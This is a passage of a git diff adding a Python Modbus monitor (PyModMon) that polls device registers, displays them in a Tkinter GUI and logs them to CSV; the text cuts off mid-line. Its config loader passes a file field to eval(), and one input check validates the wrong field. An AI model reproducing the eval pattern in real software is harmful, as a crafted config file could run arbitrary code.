set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import 